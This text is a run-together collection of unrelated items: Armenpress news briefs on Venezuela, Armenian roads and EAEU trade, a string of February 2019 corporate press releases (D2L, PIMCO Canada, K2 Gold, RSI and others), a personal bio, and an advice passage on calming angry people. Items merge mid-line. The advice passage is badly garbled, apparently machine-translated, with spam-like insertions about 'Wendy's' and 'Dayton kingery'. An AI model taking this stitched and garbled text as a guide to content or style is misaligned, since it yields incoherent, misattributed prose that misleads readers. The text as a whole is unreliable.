Venezuelan President Nicolas Maduro said the initiative on humanitarian aid delivery represents oligarchy's bad and cheap show and called on Venezuelans to refuse it. Despite the position announced by official Caracas, a checkpoint for distributing humanitarian aid to Venezuelans was opened on February 8 in Colombia's border city of Cucuta.

On January 23 Venezuelan National Assembly Speaker Juan Guaido proclaimed himself as the countrys acting president. Venezuelan President Nicolas Maduro has described it as a coup attempt and announced severing diplomatic relations with the United States.

Edited and translated by Aneta HarutyunyanKitchener, Waterloo, Feb. 13, 2019 (GLOBE NEWSWIRE) --

D2L , the global learning technology leader, today announced the winners of the 2019 D2L Excellence Awards, which recognize educators, trainers, and leaders in employee engagement that have used the Brightspace platform to deliver learning experiences that are innovative, collaborative, or have made an extraordinary impact on learning outcomes.

As D2Ls market momentum grows globally, the D2L Excellence Awards have become increasingly competitive and, more importantly, point to some exciting education innovation globally, said John Baker, CEO of D2L. Were proud to recognize this years five winners for delivering truly excellent learning experiences.

EXCELLENCE AWARD WINNERS

California State University Long Beach (CSULB)  USA: In years past, CSULB has held a one-day orientation event for all incoming freshmen and transfer students. By using Brightspace to host this orientation program, the university has helped introduce more than 18,000 students over the past two years to a wealth of necessary information ranging from campus safety, campus resources, and campus priorities to advising and registration. In addition, the new program allows students to become familiar with Brightspace before even setting foot on campus.

Gay Lea Foods Co-operative Limited  Canada: Gay Lea Foods is a successful and growing co-operative in the Canadian dairy industry. Working with the Learning and Creative Services team at D2L, Gay Lea Foods has developed eight courses covering a wide variety of topics, including sessions on each aspect of board governance and membership, as well as courses that provide the companys directors and delegates with insight into the structure of other co-operatives around the world.

Hamilton-Wentworth District School Board  Canada: The Hamilton-Wentworth District School Board recognized the need for educational approaches to adapt in order to engage with its digital-savvy learners. From eLearning to professional learning to blended learning, the Board has grown its eLearning program from 27 teachers and 852 students in 2015-2016 to 77 teachers and over 2,500 students in 2018-2019; thats almost a 300 percent growth in just three years.



St. Petersburg College  USA: Together with D2L, the college created Faculty Tools  a Brightspace customization designed to help faculty easily identify and quickly communicate with struggling students. Faculty Tools helps streamline the processes faculty do every day to find struggling students in order to help get the students back on track. Faculty Tools is available to St. Petersburg course instructors on the course home page, and includes four tabs: Grade Check, Last Login, Student Persona, and Grade Preview. The colleges internal data shows that the tool is having a significant impact on student success and retention efforts.

Victoria University  Australia: In 2018, Victoria University introduced the Block Model for its first-year students. This is an Australian first, has been highly successful and acclaimed, and is fully supported by Brightspace. Brightspace allows for automation of site creation with copied content from dedicated unit master spaces; supports checklists, rubrics, attendance data, and grades; enables automatic grades transfer to the student management system; and provides analytics dashboards using Datahub to inform unit review. The Universitys data suggests the implementation has increased student pass rates, increased student grades, and supported student retention.



When I founded D2L nearly 20 years ago, there was no way to know what our learning platform would eventually become. But we had dreams  we wanted to help the world get smarter, said John Baker, CEO of D2L. Today, almost two decades later, we like to say that our goal is nothing less than changing the way the world learns  and it is encouraging to have partners like our five award winners helping us accomplish that mission.

ABOUT BRIGHTSPACE

Brightspace is a cloud-based learning platform that makes online and blended learning easy, flexible, and smart. Brightspace is a quantum leap beyond traditional Learning Management System (LMS)  it is easy to drag-and-drop content to create engaging courses, supports all mobile devices , has industry-leading up-time, and is built with accessibility in mind for all learners. Plus, Brightspace enables the future of learning with a gaming engine, adaptive learning , video management , intelligent agents, templated interactives for course design, full support for outcomes or competency-based learning , and actionable learning analytics .

D2Ls Brightspace was recently named the #1 LMS in Higher Ed by Ovum Research and #1 in Adaptive Learning by eLearning Magazine. In addition, Aragon Research included D2L in its highly coveted Hot Vendors In Learning list .

ABOUT D2L

D2L believes learning is the foundation upon which all progress and achievement rests. Working closely with clients, D2L has transformed the way millions of people learn online and in the classroom. Learn more about D2L for schools , higher education and businesses at www.D2L.com .YEREVAN, FEBRUARY 13, ARMENPRESS. Parliament continues debating the governments Action Plan.

The debate began February 12, and Prime Minister Nikol Pashinyan presented the program to lawmakers.

53 MPs requested the floor for a Q&A with the PM.

Edited and translated by Stepan KocharyanYEREVAN, FEBRUARY 13, ARMENPRESS. The ministry of emergency situations informs that on February 13, as of 09:00, some roads are closed and difficult to pass in Armenia.

Vardenyats Pass is closed for trailer trucks and is difficult to pass for the remaining vehicles.

Sotk-Karvachar highway is difficult to pass due to clear ice.

The ministry urges drivers to use snow tires.

The Georgian authorities inform that the Stepantsminda-Lars highway is open for all types of vehicles.

Edited and translated by Aneta HarutyunyanYEREVAN, FEBRUARY 13, ARMENPRESS. The market of the Eurasian Economic Union (EAEU) has many advantages and is very important for Armenia in terms of export, and the emerging technical and other problems are immediately being solved by Armenias proposal. As a result, the trade turnover with the EAEU states increased 11.3% last year. The export volume from Armenia comprised 688 million 976 thousand drams, which is an increase of 20.7% compared to 2017, Albert Babayan  deputy minister of economy, said in an interview to ARMENPRESS.

Nearly 688 million AMD export share belongs to the EAEU market in Armenias export market. The same volume is exported to the EU market and nearly one billion to other markets. In other words, nearly 25-26% of export goes to the EAEU countries. Tobacco, drinks, shoes, textile, communication means, fresh fruits, vegetables, canned food, fresh fish and crayfish are mainly exported to the Eurasian market from Armenia. The most important is that we export ready-made goods to the EAEU states, rather than raw material, the deputy minister said.

According to the data of the National Statistical Committee, the trade turnover with the EAEU states in January-December 2018 comprised 1 billion 989 million 499.9 thousand drams, which increased by 11.3% compared to 2017.

The deputy minister considers this export growth rate a positive figure and believes that it has a tendency to develop. Albert Babayan stated that it is necessary to use all the opportunities existing in the Eurasian market for carrying out export.

The greatest export share belongs to Russia  666 million 501.7 thousand USD. The deputy minister said this is linked with the fact that Russia traditionally has been Armenias greatest trade partner. And this is also the reason that we are exporting goods with greater volumes to Russia. In addition, Russias market is more affordable from logistics perspective, it is bigger than that of the remaining EAEU states, he noted.

The trade turnover from the EAEU states has decreased only to Kyrgyzstan, as well as the export  by nearly 45%, comprising 970.5 thousand USD. Maybe it was more appropriate to export that goods to the other markets. These goods are chocolate, drinks, fruits and vegetables. There are economic entities from Armenia who provide service in Kyrgyzstan, therefore we have no political obstacle with this country, Babayan said.

Talking about the trade turnover, export obstacles with the EAEU states, the deputy minister said export may cause technical problems for all member states. For instance, there is a restriction for exporting alcoholic drinks and tobacco from Armenia to Belarus which makes the entry of the goods to this market difficult. But according to the results of the six months of 2018, we see that new goods have been exported which were not exported in the past. In order to overcome this obstacle Armenia has already submitted a proposal to the EAEU respective commission. The proposal is currently at the discussion stage, the deputy minister said.

Interview by Anna Grigoryan

Edited and translated by Aneta HarutyunyanI was born in 1956 in Madison, Tennessee, while my parents were attending Madison College. I grew up along the Front Range in Colorado, attending schools in Longmont, Brighton, Boulder and Loveland, Colorado. Two years after graduating from Campion Academy, I married my sweetheart, Regina. We lived in Loveland, Colorado for six years before moving to Mena in western Arkansas.





I love the people of Mena and the friendly easy going way of life here. I have owned and operated my own business since moving to Mena. I enjoy the natural beauty of western Arkansas and being out of doors.



This way the other person will realize of which you gave importance him and then she listened to his point of view on that subject by which he is angry. 7.She enumerates the listened thing: When a person is angry begins by the part in which according to her she is right. Then you must enumerate the facts to him objectively to be able to reconstruct all the story and of that way to change the center to him of the anger. 8.No he has because to give the reason him, but he does not say either to him that he is mistaken. For other opinions and approaches, find out what Wendy's has to say. When somebody is very angry is very difficult to make change it of opinion.



But you can calm it with phrases like: " in place yours " would have done the same; or " I understand like you sents" , etc. 9.It secures a solution: If you do not know like helping that person, pregntele. If you know how to help she enumerates it the steps that must follow to solve the problem. If it sees that it is not in an suitable position to solve the problem it tries to look for aid. Dgale wants that it to help. Of that way the other person would notice that to you really you matter to him and who is arranged to help it. Dayton kingery has firm opinions on the matter. 10.It eliminates the following phrases: " If you calmed a little " " If you left hablar" me; " You are being irrazonable" " Exactly which is its problem? " These phrases which obtains are to exacerbate the problem and to intensify the wrath of the person who speaks to us.



To all this it is added, the suggestion, that if it observes that the person is uncontrollable the best thing than can do is to go away. The appropriate commentaries can be that it will find to which solves the problem to him and thus to be able to take off itself of the situation of which is not contributor. One remembers in addition, that if it deals with an angry person while he remains calm will be able to handle the situation. Really, it must be known how to manage the emotions, maintain the calm, be balance and to confront the situation with much serenity and optimism to leave ahead. basic *Referencia.: enplenitud.com Original author and source of the article.VANCOUVER, British Columbia, Feb. 13, 2019 (GLOBE NEWSWIRE) -- First Mexican Gold Corp. (the Company or FMG) (TSX-V: FMG, Frankfurt: 21M) reports that further to the news release of April 23, 2018, the Company retained Isatis Capital Group of Montreal (Isatis Capital) to arrange a credit facility of up to $10 million dollars on best efforts basis, contingent to market conditions and regulatory approval in United States and Canada. The Company issued to Isatis Capital one million shares of First Mexican Gold Corp. as payment to arrange the credit facility but did not obtain prior TSX Venture Exchange (the Exchange) acceptance in contravention of Exchange policy.

To date, the Company is of the view that Isatis Capital has not fulfilled its obligations under its agreement with the Company and there has been no material progress on the credit facility. This lack of performance has affected the Companys ability to move forward in the timely development of the Guadalupe property as planned.

The Company also issued nine million shares without obtaining prior Exchange acceptance in contravention of Exchange Policy. The Company is holding these shares in trust with its solicitor and intends to cancel these shares.

At the present time, the Company is actively in discussions to raise the capital required to move the Guadalupe project forward.

On behalf of the Board of Directors,

Jim Voisin

President & CEO

First Mexican Gold Corp

519 699 5352

drift@golden.net

Vancouver Head Office

#1000, 355 Burrard Street Vancouver, B.C. V6C 2G8 Canada

Website: www.fmgoldcorp.com

We seek safe harbour.

This news release includes certain forward-looking statements or information. All statements other than statements of historical fact included in this release, including, without limitation, statements relating to the potential mineralization and geological merits of the Guadalupe property and other future plans, objectives or expectations of the Company are forward-looking statements that involve various risks and uncertainties. There can be no assurance that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. Important factors that could cause actual results to differ materially from the Company's plans or expectations include risks relating to the actual results of current exploration activities, fluctuating gold prices, possibility of equipment breakdowns and delays, exploration cost overruns, availability of capital and financing, general economic, market or business conditions, regulatory changes, timeliness of government or regulatory approvals and other risks detailed herein and from time to time in the filings made by the Company with securities regulators. The Company expressly disclaims any intention or obligation to update or revise any forward-looking statements whether as a result of new information, future events or otherwise except as otherwise required by applicable securities legislation.Not for distribution to United States newswire services or for dissemination in the United States

TORONTO, Feb. 13, 2019 (GLOBE NEWSWIRE) -- PIMCO Canada Corp. (PIMCO Canada) today announced the February 2019 cash distributions for the ETF series (ETF Series) of the PIMCO Canada mutual funds that distribute monthly (Funds). Unitholders of record of the ETF Series, at the close of business on February 21, 2019, will receive per-unit cash distribution payable on February 28, 2019.

Details of the per-unit cash distribution amount are as follows:

Fund Name Ticker Cash Distribution

per Unit PIMCO Monthly Income Fund (Canada) PMIF $0.07060 PIMCO Investment Grade Credit Fund (Canada) IGCF $0.07541 PIMCO Monthly Income Fund (Canada) US$ PMIF.U US$ 0.04220

The Manager, PIMCO Canada administers and manages the PIMCO Canada ETFs, and retains Pacific Investment Management Company, LLC, (PIMCO), to provide sub-advisory services to the Funds.

About PIMCO

PIMCO is one of the worlds premier fixed income investment managers. With our launch in 1971 in Newport Beach, California, PIMCO introduced investors to a total return approach to fixed income investing. In the 45+ years since, we have continued to bring innovation and expertise to our partnership with clients seeking the best investment solutions. Today we have offices across the globe and 2,150+ professionals united by a single purpose: creating opportunities for investors in every environment. PIMCO is owned by Allianz S.E., a leading global diversified financial services provider.

Forward-Looking Statements

Certain statements included in this news release constitute forward-looking statements, including, but not limited to, those identified by the expressions expect, intend, will and similar expressions to the extent they relate to the Funds. The forward-looking statements are not historical facts but reflect the Funds, PIMCO Canadas and/or PIMCOs current expectations regarding future results or events. These forward-looking statements are subject to a number of risks and uncertainties that could cause actual results or events to differ materially from current expectations, including, but not limited to, market factors. Although the Funds, PIMCO Canada and/or PIMCO believes that the assumptions inherent in the forward-looking statements are reasonable, forward-looking statements are not guarantees of future performance and, accordingly, readers are cautioned not to place undue reliance on such statements due to the inherent uncertainty therein. The Funds, PIMCO Canada and/or PIMCO undertakes no obligation to update publicly or otherwise revise any forward-looking statement or information whether as a result of new information, future events or other factors which affect this information, except as required by law.

Commissions, management fees and expenses all may be associated with an investment in the ETF Series Units. Please read the prospectus and ETF Facts carefully before investing. The ETF Series Units are not guaranteed, their value may change frequently and past performance may not be repeated.

For a summary of the risks of an investment in the fund, please see the specific risks of mutual funds section of the prospectus. Units of ETF Series trade like stocks, fluctuate in market value and may trade at a discount to their net asset value, which may increase risk of loss. Distributions are not guaranteed and are subject to change and/or elimination.

The products and services provided by PIMCO Canada may only be available in certain provinces or territories of Canada and only through dealers authorized for that purpose. PIMCO Canada has retained PIMCO LLC as sub-adviser. PIMCO Canada will remain responsible for any loss that arises out of the failure of its sub-adviser.

Contact:

Agnes Crane

PIMCO  Media Relations Phone: +212 597.1054

Email: agnes.crane@pimco.comSIOUX FALLS, S.D., Feb. 13, 2019 (GLOBE NEWSWIRE) -- Sammons  Financial Group, Inc . (SFG), a major employer1 in Sioux Falls, celebrated 10 years of occupancy in the office building located at 5400 S. Solberg Avenue with a proclamation from Mayor Paul TenHaken.



As a former employee of SFG, TenHaken was honored to celebrate this significant milestone with SFG staff. Im proud to have spent time at SFG early in my career, said TenHaken. Sioux Falls is blessed to have SFG as part of our community. With millions of dollars in charitable donations and countless volunteer hours by employees, SFG exemplifies what it means for an organization to have a big heart for their community, he added.

During his official announcement, TenHaken recognized SFG for being a pillar of the Sioux Falls community for over 40 years that is consistently voted a top employer both regionally and nationally; a provider of thousands of jobs for South Dakotans over its 110+ year history; a significant philanthropic investor that has given over seven million dollars in charitable contributions over the past 10 years; and an organization that promotes community involvement with countless hours of employee volunteerism offered to many nonprofits.

We are excited to be celebrating our 10-year anniversary on Solberg Avenue, said Jeremy Bill, vice president of product development at SFG, and member of the Sioux Falls site leadership team. He added, SFGs history is deeply rooted in Sioux Falls, and we take great pride in being an active member of this thriving community.

Prior to purchasing the building on Solberg Avenue 10 years ago, SFG leased space in Sioux Falls. SFG also has offices in Des Moines, Iowa, Fargo, N.D., and Chicago, Ill. In 2018, SFG was among the top 25 employers on Glassdoors 2019 Best Places to Work list .

About Sammons Financial Group, Inc.

The member companies of Sammons  Financial Group, Inc. (SFG) are here to help families and businesses protect their future, so they can enjoy lifes moments today. A subsidiary of Sammons Enterprises , SFG is a group of privately-owned financial companies, including several of the most enduring and stable companies in our industry. SFGs member companies, Midland National Life Insurance Company  , North American Company for Life and Health Insurance  , and Sammons Institutional GroupSM offer some of todays most sought-after life insurance, annuity, and retirement planning products. Sammons Financial Group : With You for Every Moment SM .

1 Source: Sioux Falls Development Foundation

A photo accompanying this announcement is available at

http://www.globenewswire.com/NewsRoom/AttachmentNg/a05df095-e7a6-4206-8820-545bef0ae507

A video accompanying this announcement is available at

http://www.globenewswire.com/NewsRoom/AttachmentNg/c0838785-82f1-4a55-a6ae-e376e047beac



TORONTO, Feb. 13, 2019 (GLOBE NEWSWIRE) -- iQ , Canadas leading healthy fast casual restaurant brand, has just opened its eighth location in the GTA, and its first uptown Toronto location. As one of the tenants anchoring RioCans newly built Yonge Sheppard Centre, iQ is one of several brands bringing a spotlight to the developing neighbourhood.



At 980 square feet, this is the brands smallest street-level location and was built exclusively for the grab-and-go crowd. With no seating available, iQs Yonge Sheppard location is piloting a seamless self-service pick up bar for the order-ahead crowd through the iQ app (available on iOS and Android), with the intention of rolling it out company-wide later this year. Its a signal of how the brand continues to evolve and shape Canadas healthy fast casual industry. Our goal is to design not only more beautiful, but more thoughtful and functional spaces as we grow. Our mission is to fuel dreams through food, and that doesnt always mean building out large, expansive restaurants. It means getting healthy and sustainable eats into the hands of our guests, exactly the way they want it. And for a neighbourhood as busy as this one, that means ordering ahead, says Alan Bekerman, iQs Founder and CEO.

Founded in Torontos financial district in 2011, iQ is largely responsible for introducing seasonal, sustainable and produce-driven fast casual cuisine to Canada's largest city. In August 2018, iQ opened a flagship location at Yorkdale Shopping Centre, launching the brand outside of Torontos downtown core. iQ is set to continue its rapid expansion across Toronto, with two additional locations in the next quarter, a second iQx location at Equinox on Bay Street (March 2019) and another iQ restaurant at Yonge and St. Clair (May 2019).

Executive Chef Christine Flynn oversees iQs seasonal kitchen and menu of locally-sourced and sustainable eats, where more than half of all ingredients used are procured within 100 kilometers of the restaurants.

ABOUT iQ

iQ is Canadas leading healthy fast casual restaurant brand. Founded in 2011 in Toronto's financial district, iQ has steadily grown to include locations across Toronto's downtown core, and in August 2018, a flagship location at Yorkdale Shopping Centre. Largely responsible for introducing seasonal, sustainable and produce-driven fast casual cuisine to Canada's largest city, iQ has developed a reputation as one of the most innovative companies in Canadas healthy hospitality space. While healthy and vibrant food is at the company's core, fashion, art, music, design, architecture and technology are central to inspiring the creativity that shapes the brand. Visit iqfoodco.com or @iqfoodco on Instagram.

Media Contact

Tat Read

cell 416-220-1466

tat@theknotgroup.com

theknotgroup.com

Photos accompanying this announcement are available at

http://www.globenewswire.com/NewsRoom/AttachmentNg/b3888821-9335-41d7-95d3-091415685c9f

http://www.globenewswire.com/NewsRoom/AttachmentNg/07a19b1e-0406-458d-a776-d1a2e16229d8

http://www.globenewswire.com/NewsRoom/AttachmentNg/ac99718b-5a9f-4f8d-9bb5-0f1477e8bb00

http://www.globenewswire.com/NewsRoom/AttachmentNg/b4bae113-e132-4d82-83f6-a65be388e5bd

http://www.globenewswire.com/NewsRoom/AttachmentNg/aef1eb38-a11c-4b19-9911-fe721c9eac24

http://www.globenewswire.com/NewsRoom/AttachmentNg/b74e1b86-66f0-440c-82b3-1bf4f0536e41

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VANCOUVER, British Columbia, Feb. 13, 2019 (GLOBE NEWSWIRE) -- RSI International Systems Inc. (TSX-V: RSY) (RSI or the Company) is pleased to report that it has closed the sale (the Transaction) of its RoomKeyPMS business to NSight Inc., (NSight or the Purchaser) as originally announced September 7,, 2018 and updated January 9, 2019. Initial gross proceeds from the sale, which are for all of the Companys business assets, are approximately $6 million. After providing for adjustments to the Purchaser net proceeds from the Transaction are approximately $5.6 million. The Company intends to use the funds to acquire a new business.



Mr. David Keys, Chairman of RSI and a representative for the Ernest W. Moody Revocable Trust, which holds 44.4% of RSIs outstanding shares commented, With this transaction closed and funds in hand, we are moving as quickly as possible to conclude a suitable acquisition. In the interim, we are minimizing our costs and expect to fund our expenses as much as possible from the interest generated on our cash.

Shareholders Approval of the Transaction

At the RSI shareholder meeting held on Feb 5, 2019, 64.7% of the Companys outstanding shares were voted in person or by proxy. 100% of the votes cast in respect of the Transaction were in favour.

For further details on the Transaction, please see the Companys news releases dated September 7, 2018 and January 9, 2019, as well as the Companys Information Circular dated January 9, 2019 and available at www.sedar.com

Proceeds from the Transaction

As per the Definitive Agreement announced by the Company January 9, 2019, the Company sold its RoomKeyPMS business to NSight Inc. on an arms length basis, for gross proceeds of US$4.6 million. This amount was adjusted to a Canadian dollar amount of approximately C$6 million by averaging the posted Bank of Canada rate for the average of the seven business prior to September 7, 2018 and the average of the seven business days prior to February 5, 2019, to arrive at an exchange rate of 1.3127 US to Canadian dollars. As NSight is not assuming any of RSIs liabilities except where necessary to run the business going forward, the assumption of any such liabilities was deducted from the gross proceeds. The gross proceeds were adjusted to account for the timing of certain receivables, payables, deferred revenue, prepaid costs and other items that are assumed by NSight. Totaling these adjustments and subtracting them from the gross purchase price, leaves a net proceeds figure of approximately C$5.6 million. In addition, by undertaking the Transaction, the Company incurred additional costs, including approximately C$247 thousand for change of control payments to departing senior managers.

Appointment of New Senior Management and Board Member

In conjunction with the sale of the RoomKeyPMS business, all of the Companys management have resigned to take roles with NSight. Accordingly, the Company also announces that it has appointed Adam Ho, as President & Chief Executive Officer, (CEO) replacing Tim Major. Mr. Ho has been a member of the Companys Board of Directors since August 2016 and was instrumental in completing the sale of the Companys business.

The Company also announces the appointment of Sam Wong as Chief Financial Officer, (CFO) replacing Giovanni Susin. Mr. Wong is currently the Chief Financial Officer of various junior mining public companies that are listed on the TSX Venture. He was also previously the Chief Financial Officer of Goldgroup Mining Inc, where he significantly decreased the cost of and levels of debt through various cost cutting and restructuring initiatives. Mr. Wong is a Chartered Professional Accountant and articled at Deloitte LLP in Vancouver, BC.

The Company also reports that at its February 5, 2019 shareholder meeting, shareholders re-elected David Keys and Adam Ho as Directors and elected Anthony Balic to the Companys Board for the first time. Mr. Balic replaces Mr. Fai Ambrose Heng Chan, who did not stand for re-election. Mr. Balic is a Director of Montan Mining Corp. and has worked with Canadian and U.S. publicly listed companies for the past 13 years. He is currently the CFO of Goldgroup Mining Inc., Captiva Verde Land Corp., Omni Commerce Corp. and Montan Mining Corp. Prior to his involvement with public companies, Mr. Balic was a Senior Manager at Deloitte LLP in Vancouver, where he specialized in assurance and advisory services for clients in various industries.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

About NSight

With the acquisition of the RoomKeyPMS business, NSight continues to aggressively identify and acquire leading technology platforms that are core to hotels operations. This strategy provides middle market hotels more efficient technology solutions while creating exceptional value for NSight shareholders.

About RSI

RSI International Systems Inc. has recently sold its only business asset, RoomKeyPMS. The Company is now seeking to use the net sale proceeds to acquire a new business.

Cautionary Note Regarding Forward Looking Statements

This news release contains forward-looking statements. Any statements that are not strictly historical fact are considered "forward-looking statements." Forward-looking statements cannot be guaranteed and involve assumptions and are subject to a variety of risks and uncertainties which could cause actual events or results to materially differ from those reflected in the forward-looking statements. Readers are advised to rely on their own evaluation of such risks and uncertainties and not place undue reliance upon forward-looking statements. Any forward-looking statements made herein are made as of the date hereof, and the Company assumes no obligation and disclaims any intention to revise or update any forward-looking information and statements except as required by applicable laws.

For more information, please contact:VANCOUVER, British Columbia, Feb. 13, 2019 (GLOBE NEWSWIRE) -- K2 Gold Corporation (K2 or the Company) (KTO:TSX-V) is pleased to report that by making a final payment of 500,000 common shares it has now satisfied all of the terms of its option agreement with Go Cobalt Mining Corp. (Go Cobalt) and earned a 90% interest in the Wels gold project located 45 km east of Beaver Creek in the Yukon Territories. The Company will now advance the project as operator.



Exploration work to date at Wels including soil and rock sampling has revealed a large 4km x 3km geochemical footprint. Limited trenching to date (155.5m) at one location, Saddle, has returned encouraging results including of 8.8 g/t Au over 45 metres and 5.3 g/t Au over 18m. Initial drilling (1,675m of shallow drilling with the deepest hole 157.5m in length) at the site of trenching returned intervals of 3.1 g/t over 19.5m and 3.3 g/t over 16.5m. These results are derived from only one area of enhanced geochemistry, the Saddle Zone, within the larger geochemical footprint. A further four zones with similar geochemistry are located 1 to 2 km north and south of Saddle. These new targets are unexplored and will be the focus of trenching and further exploration in 2019. Further detail on the Wels property are provided on the K2 Gold website www.k2gold.com .

The Company is also pleased to announce that Chris Taylor has agreed to become an Advisor to the Company. Chris is President, CEO and a Director of Great Bear Resources Ltd (TSX.V:GBR) and is also CEO, Director of Dunnedin Ventures (TSX.V:DVI). He operates an independent geological consulting practice, evaluating exploration and mining properties for acquisition purposes. Previously he was a geologist with Imperial Metals, Inc., a TSX.V company from 2004 to 2009. Mr. Taylor graduated with a Bachelor of Science honours degree in Earth Sciences in 2000, and a Master of Science degree in Structural Geology from Carleton University in 2003.

President and CEO of K2, Steve Swatton stated: Wels is currently our priority exploration project and I am pleased that we have fulfilled our earn-in option. Furthermore I am delighted to have Chris join K2 in an advisory capacity, his breadth of geological knowledge on a range of mineral deposit types will be extremely useful. In addition Chriss understanding of capital markets, particularly in light of the recent success of Great Bear Resources, will greatly benefit K2 as the Company continues with its strategy of expansion through the acquisition of high quality exploration assets throughout North America.

JV with Go Cobalt on the Wels property

As a result of the Company satisfying all the terms of the option agreement, the Company and Go Cobalt will proceed under the terms of a joint venture agreement (the Joint Venture). Under the Joint Venture, the Company will fund the project fully through completion of a preliminary economic assessment, following which project expenditures will be funded on a 90/10 proportionate basis between the Company and Go Cobalt, respectively, with the Company acting as project manager and holding voting control of the Joint Venture project committee. If, at any time, either partys Joint Venture interest is diluted to less than 1.0%, that diluted partys interest will be cancelled, and the Joint Venture will terminate. The property is subject to a 3% NSR of which 2% may be purchased by the Company under favourable terms.

Scott Sheldon, Director and CEO of Go Cobalt commented, "We are very excited to move forward with K2 as a JV partner. Our goal was to work with a solid group who could take the Wels Gold project to the next level. K2 has a ton of experience on board with lots of success in Canadian gold exploration."

For additional information please contact Stephen Swatton at 604-331-5093.

On behalf of the Board of Directors,

Stephen Swatton

President and CEO

K2 Gold Corporation.

Forward-Looking Caution:

This news release contains forward-looking statements that are not historical facts. Forward-looking statements involve risks, uncertainties and other factors that could cause actual results, performance, prospects and opportunities to differ materially from those expressed or implied by such forward-looking statements, including statements regarding exploration at the Wels, Storck, Ladue, GDR and McArthur Properties (collectively the Properties), and the joint venture on the Wels Project. Factors that could cause actual results to differ materially from these forward-looking statements include, but are not limited to, variations in the nature, quality and quantity of any mineral deposits that may be located, the Companys inability to reach satisfactory agreements with First Nations to facilitate its exploration and development plans for the Wels Property, the Company's inability to obtain any necessary permits, consents or authorizations required for its planned activities, and the Company's inability to raise the necessary capital or to be fully able to implement its business strategies. The reader is referred to the Company's public disclosure record which is available on SEDAR ( www.sedar.com ). Although the Company believes that the assumptions and factors used in preparing the forward-looking statements are reasonable, undue reliance should not be placed on these statements, which only apply as of the date of this news release, and no assurance can be given that such events will occur in the disclosed time frames or at all. Except as required by securities laws and the policies of the TSX Venture Exchange, the Company disclaims any intention or obligation to update or revise any forward-looking statement, whether as a result of new information, future events or otherwise.

This news release does not constitute an offer to sell or a solicitation of an offer to buy, nor shall there be any sale of any of the securities in any jurisdiction in which such offer, solicitation or sale would be unlawful, including any of the securities in the United States of America. No securities of the Company have been or will, in the foreseeable future, be registered under the United States Securities Act of 1933 (the 1933 Act) or any state securities laws and may not be offered or sold within the United States or to, or for account or benefit of, U.S. Persons (as defined in Regulation S under the 1933 Act) unless registered under the 1933 Act and applicable state securities laws, or an exemption from such registration requirements is available.

NEITHER TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE.TORONTO, Feb. 13, 2019 (GLOBE NEWSWIRE) -- (TSX:RBN.UN) Investors and investment advisors are invited to listen to an update on Blue Ribbon Income Fund (the Fund), hosted by Paul Bloom of Bloom Investment Counsel, Inc. A link to the update call recorded on February 11, 2019 has been posted to the Blue Ribbon Income Fund website. Investors may listen by clicking the following link: Blue Ribbon Income Fund Update. The Fund is available for purchase on the Toronto Stock Exchange under the ticker symbol RBN.UN.

The Fund invests in a portfolio consisting primarily of Canadian high income equities. The investment objectives of the Fund are to provide unitholders with monthly cash distributions and the opportunity to participate in gains in the value of the Funds investment portfolio. The Fund has a current distribution rate of 7.4% per annum, and since inception on September 17, 1997 to January 31, 2019, the Fund has paid cash distributions of $18.83 per unit. The TSX closing price of the Funds units on February 12, 2019 was $8.12.

The Fund also offers a distribution reinvestment plan (DRIP) which provides unitholders with the ability to automatically reinvest distributions, commission free, and realize the benefits of compound growth. Unitholders can enroll in the DRIP program by contacting their investment advisor.

For further information, please contact your investment advisor, call Bromptons investor relations line at 416-642-6000 (toll-free at 1-866-642-6001), email info@bromptongroup.com or visit our website at www.blueribbonincomefund.com.

Annual Compound Returns1 YTD 1-Yr 3-Yr 5-Yr 10-Yr S.I. Blue Ribbon Income Fund 8.9 % (7.0 %) 6.7 % 0.4 % 8.9 % 9.4 % S&P/TSX Composite Index 8.7 % 0.5 % 9.8 % 5.6 % 9.1 % 6.4 %

(1) Returns are for the periods ended January 31, 2019. Inception date September 17, 1997. The table shows the Funds compound return for each period indicated compared with the S&P/TSX Composite Index (Composite Index). The Composite Index tracks the performance, on a market weight basis and a total return basis, of a broad index of large capitalization issuers listed on the TSX. Since the Fund is actively managed, the sector weightings differ from those of the Composite Index. In addition, the Funds portfolio contains predominantly higher dividend paying securities, whereas the Composite Index does not necessarily focus on this type of investment. For these reasons it is not expected that the Funds performance will mirror that of the Composite Index. Further, the Composite Index is calculated without the deduction of management fees, fund expenses and trading commissions, whereas the performance of the Fund is calculated after deducting such fees and expenses.

You will usually pay brokerage fees to your dealer if you purchase or sell units of the investment fund on the Toronto Stock Exchange or other alternative Canadian trading system (an exchange). If the units are purchased or sold on an exchange, investors may pay more than the current net asset value when buying units of the investment fund and may receive less than the current net asset value when selling them.

There are ongoing fees and expenses associated with owning units of an investment fund. An investment fund must prepare disclosure documents that contain key information about the fund. You can find more detailed information about the Fund in the public filings available on www.sedar.com. The indicated rates of return are historical annual compound returns including changes in unit value and reinvestment of all distributions and do not take into account certain fees such as redemption costs or income taxes payable by any security holder that have reduced returns. Investment funds are not guaranteed, their values change frequently and past performance may not be repeated.

Certain statements contained in this news release constitute forward-looking information within the meaning of Canadian securities laws. Forward-looking information may relate to matters disclosed in this press release and to other matters identified in public filings relating to the Fund, to the future outlook of the Fund and anticipated events or results and may include statements regarding the future financial performance of the Fund. In some cases, forward-looking information can be identified by terms such as may, will, should, expect, plan, anticipate, believe, intend, estimate, predict, potential, continue or other similar expressions concerning matters that are not historical facts. Actual results may vary from such forward-looking information. Investors should not place undue reliance on forward-looking statements. These forward-looking statements are made as of the date hereof and we assume no obligation to update or revise them to reflect new events or circumstances.English French

HALIFAX, Nova Scotia, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Today, former Deputy Prime Minister and Quebec Premier Jean Charest hosted the Aerospace Industries Association of Canadas (AIAC) Vision 2025 aerospace engagement day in Halifax, meeting with industry leaders, government officials and educators to begin charting a course for the future of aerospace in Canada.



Global competition has never been fiercer, and were at a turning point where Canada must step up to compete, or risk being left behind, said Mr. Charest. Atlantic Canada employs over 6,500 people in the aerospace industry, and we need to ensure that were looking forward, and safeguarding good jobs here, and across Canada.

